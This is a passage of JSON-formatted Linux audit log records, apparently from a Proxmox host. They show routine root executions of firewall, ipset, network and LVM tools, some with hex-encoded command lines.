euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781966291076,"@rawstring":"node=pve type=PATH msg=audit(1781966291.076:69204): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965605272,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965605.272:66332): proctitle=\"ip6tables-save\""} {"@timestamp":1781964896047,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964896.047:63127): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=60571 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781966291076,"@rawstring":"node=pve type=PATH msg=audit(1781966291.076:69203): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965605263,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965605.263:66331): proctitle=\"iptables-save\""} {"@timestamp":1781964896041,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964896.041:63124): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=60570 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781966286064,"@rawstring":"node=pve type=PATH msg=audit(1781966286.064:69202): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965605254,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965605.254:66330): proctitle=\"ip6tables-save\""} {"@timestamp":1781964895152,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964895.152:63121): arch=c000003e syscall=59 success=yes exit=0 a0=5f33f0805ed0 a1=5f33f0802c50 a2=5f33f07e4680 a3=5 items=2 ppid=60563 pid=60569 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781966286064,"@rawstring":"node=pve type=PATH msg=audit(1781966286.064:69202): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965605246,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965605.246:66329): proctitle=\"iptables-save\""} {"@timestamp":1781964895144,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964895.144:63120): arch=c000003e syscall=59 success=yes exit=0 a0=5f33ce17aac8 a1=7fffb8f82a50 a2=5f33f07e4680 a3=5f33ce15e24e items=2 ppid=60563 pid=60565 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781966286064,"@rawstring":"node=pve type=PATH msg=audit(1781966286.064:69201): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965605242,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965605.242:66328): proctitle=\"ebtables-restore\""} {"@timestamp":1781964895144,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964895.144:63119): arch=c000003e syscall=59 success=yes exit=0 a0=7fffb8f82a10 a1=5f33f07eb310 a2=5f33f07e4680 a3=5 items=2 ppid=60563 pid=60564 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781966286064,"@rawstring":"node=pve type=PATH msg=audit(1781966286.064:69200): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965605240,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965605.240:66327): proctitle=\"ebtables-restore\""} {"@timestamp":1781964895140,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964895.140:63117): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=60563 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781966286054,"@rawstring":"node=pve type=PATH msg=audit(1781966286.054:69199): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965605232,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965605.232:66326): proctitle=6970367461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781964895132,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964895.132:63116): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=60562 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966286054,"@rawstring":"node=pve type=PATH msg=audit(1781966286.054:69199): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965605222,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965605.222:66325): proctitle=6970367461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781964895126,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964895.126:63115): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=60561 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966286054,"@rawstring":"node=pve type=PATH msg=audit(1781966286.054:69198): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965605215,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965605.215:66324): proctitle=69707461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781964895119,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964895.119:63114): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=60560 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966286054,"@rawstring":"node=pve type=PATH msg=audit(1781966286.054:69197): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965605206,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965605.206:66323): proctitle=69707461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781964895112,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964895.112:63113): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=60559 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966285666,"@rawstring":"node=pve type=PATH msg=audit(1781966285.666:69195): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965605199,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965605.199:66322): proctitle=697073657400726573746F7265"} {"@timestamp":1781964895109,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964895.109:63112): arch=c000003e syscall=54 success=yes exit=0 a0=3 a1=0 a2=80 a3=5eb4fb530740 items=0 ppid=1156 pid=60558 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=(null)"} {"@timestamp":1781966285666,"@rawstring":"node=pve type=PATH msg=audit(1781966285.666:69195): item=0 name=\"/sbin/ebtables-restore\" inode=274520 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965605189,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965605.189:66321): proctitle=\"ip6tables-save\""} {"@timestamp":1781964895106,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964895.106:63111): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc13ada0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=60558 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=\"exec\""} {"@timestamp":1781966285662,"@rawstring":"node=pve type=PATH msg=audit(1781966285.662:69194): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965605182,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965605.182:66320): proctitle=\"iptables-save\""} {"@timestamp":1781964895101,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964895.101:63110): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc134eb0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=60557 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966285662,"@rawstring":"node=pve type=PATH msg=audit(1781966285.662:69194): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965605178,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965605.178:66319): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781964895096,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964895.096:63109): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc0f5130 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=60556 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966285658,"@rawstring":"node=pve type=PATH msg=audit(1781966285.658:69193): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965605171,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965605.171:66318): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781964895091,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964895.091:63108): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc1011a0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=60555 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966285658,"@rawstring":"node=pve type=PATH msg=audit(1781966285.658:69193): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965605169,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965605.169:66317): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781964895085,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964895.085:63107): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecb60d7660 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=60554 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966285657,"@rawstring":"node=pve type=PATH msg=audit(1781966285.657:69192): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965605169,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965605.169:66316): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781964895079,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964895.079:63106): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecb8ac8ef0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=60553 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781966285657,"@rawstring":"node=pve type=PATH msg=audit(1781966285.657:69192): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965605164,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965605.164:66315): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781964895071,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964895.071:63105): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=60552 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966285657,"@rawstring":"node=pve type=PATH msg=audit(1781966285.657:69191): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965605153,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965605.153:66314): proctitle=\"ip6tables-save\""} {"@timestamp":1781964895065,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964895.065:63104): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=60551 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966285653,"@rawstring":"node=pve type=PATH msg=audit(1781966285.653:69190): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965605144,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965605.144:66313): proctitle=\"iptables-save\""} {"@timestamp":1781964895061,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964895.061:63103): arch=c000003e syscall=59 success=yes exit=0 a0=644a39b4dd30 a1=644a39b59af0 a2=644a39b27680 a3=5 items=2 ppid=60544 pid=60550 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781966285653,"@rawstring":"node=pve type=PATH msg=audit(1781966285.653:69190): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965605137,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965605.137:66312): proctitle=69707365740073617665"} {"@timestamp":1781964895057,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964895.057:63102): arch=c000003e syscall=59 success=yes exit=0 a0=644a145dfac8 a1=7ffd6961df10 a2=644a39b27680 a3=644a145c324e items=2 ppid=60544 pid=60546 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781966285653,"@rawstring":"node=pve type=PATH msg=audit(1781966285.653:69190): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965605126,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965605.126:66311): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781964895055,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964895.055:63101): arch=c000003e syscall=59 success=yes exit=0 a0=7ffd6961ded0 a1=644a39b493d0 a2=644a39b27680 a3=5 items=2 ppid=60544 pid=60545 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781966285648,"@rawstring":"node=pve type=PATH msg=audit(1781966285.648:69189): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965605111,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965605.111:66310): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781964895051,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964895.051:63099): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=60544 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781966285648,"@rawstring":"node=pve type=PATH msg=audit(1781966285.648:69189): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965604542,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965604.542:66309): proctitle=2F7362696E2F6C7673002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D636F6E666967007265706F72742F74696D655F666F726D61743D22257322002D2D6F7074696F6E730076675F6E616D652C6C765F6E616D"} {"@timestamp":1781964895044,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964895.044:63098): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=60543 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966285643,"@rawstring":"node=pve type=PATH msg=audit(1781966285.643:69188): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965604515,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965604.515:66308): proctitle=2F7362696E2F766773002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D6F7074696F6E730076675F6E616D652C76675F73697A652C76675F667265652C6C765F636F756E74"} {"@timestamp":1781964895036,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964895.036:63097): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=60542 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966285643,"@rawstring":"node=pve type=PATH msg=audit(1781966285.643:69188): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965603656,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965603.656:66307): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964895030,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964895.030:63096): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecb870a970 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=60541 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781966285638,"@rawstring":"node=pve type=PATH msg=audit(1781966285.638:69187): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965603656,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965603.656:66306): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964895021,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964895.021:63095): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc138c50 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=60540 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781966285638,"@rawstring":"node=pve type=PATH msg=audit(1781966285.638:69187): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965603656,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965603.656:66305): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964895013,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964895.013:63094): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0f4a10 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=60539 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781966285633,"@rawstring":"node=pve type=PATH msg=audit(1781966285.633:69186): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965603629,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965603.629:66304): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964894947,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964894.947:63093): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d26f6fd0 a1=64f8d73e1610 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=60536 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"lvs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781966285633,"@rawstring":"node=pve type=PATH msg=audit(1781966285.633:69186): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965603629,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965603.629:66303): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964894922,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964894.922:63092): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d73bd690 a1=64f8d73af2d0 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=60535 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"vgs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781966285627,"@rawstring":"node=pve type=PATH msg=audit(1781966285.627:69185): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965603629,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965603.629:66302): 